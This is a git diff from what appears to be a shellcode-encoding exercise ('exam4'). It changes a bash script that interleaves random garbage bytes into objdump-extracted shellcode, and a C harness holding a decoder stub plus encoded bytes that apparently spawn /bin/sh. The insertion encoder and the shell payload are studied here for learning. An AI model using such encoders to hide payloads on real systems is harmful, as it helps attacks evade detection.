diff --git a/exam4/make.sh b/exam4/make.sh index 66d2e3a..74bdc97 100755 --- a/exam4/make.sh +++ b/exam4/make.sh @@ -28,7 +28,7 @@ echo " [+] Encoding the payload shellcode ..." # garbage=('\x37' '\xFA' '\xD6' '\x3F'); -ENCPSHELLCODE=$(for i in $(objdump -d $SPAYLOAD |grep "^ " |cut -f2); do echo -n '\x'$i; echo -n ${garbage[$[RANDOM%4]]}; done; echo -n "\xAF\"") +ENCPSHELLCODE=$(for i in $(objdump -d $SPAYLOAD |grep "^ " |cut -f2); do echo -n '\x'$i; echo -n ${garbage[$[$(shuf --random-source=/dev/urandom -z -i 999-999999 -n1)%4]]}; done; echo -n "\xAF\"") FULL_SHELLCODE=${DECODERSHELLCODE}${ENCPSHELLCODE} diff --git a/exam4/shellcode b/exam4/shellcode index 23fc681..6e6b9ec 100755 Binary files a/exam4/shellcode and b/exam4/shellcode differ diff --git a/exam4/shellcode.c b/exam4/shellcode.c index 51293f1..41fdc72 100644 --- a/exam4/shellcode.c +++ b/exam4/shellcode.c @@ -1,7 +1,7 @@ #include #include -unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0a\x41\xeb\xe3\xff\xd2\xe8\xd9\xff\xff\xff\x31\x37\xc0\x3F\xb0\x37\x0b\xD6\x31\xFA\xd2\x3F\x52\x3F\x68\x3F\x6e\xFA\x2f\xFA\x73\xFA\x68\xFA\x68\xFA\x2f\x37\x2f\xFA\x62\xFA\x69\x37\x89\xD6\xe3\xFA\x52\xD6\x53\xD6\x89\x3F\xe1\xD6\x52\xD6\x89\x37\xe2\xFA\xcd\x37\x80\xD6\x31\xFA\xc0\x37\xb0\x37\x01\x37\x31\x3F\xdb\xD6\xcd\x3F\x80\xFA\xAF"; +unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0a\x41\xeb\xe3\xff\xd2\xe8\xd9\xff\xff\xff\x31\xFA\xc0\xFA\xb0\x3F\x0b\x3F\x31\xD6\xd2\x3F\x52\xD6\x68\xD6\x6e\x37\x2f\xFA\x73\xFA\x68\xD6\x68\xD6\x2f\x3F\x2f\x37\x62\xFA\x69\x3F\x89\xD6\xe3\x37\x52\xD6\x53\xFA\x89\x3F\xe1\xFA\x52\x3F\x89\x37\xe2\xD6\xcd\xD6\x80\xFA\x31\x3F\xc0\x37\xb0\xFA\x01\x3F\x31\xFA\xdb\xFA\xcd\xFA\x80\x37\xAF"; main() {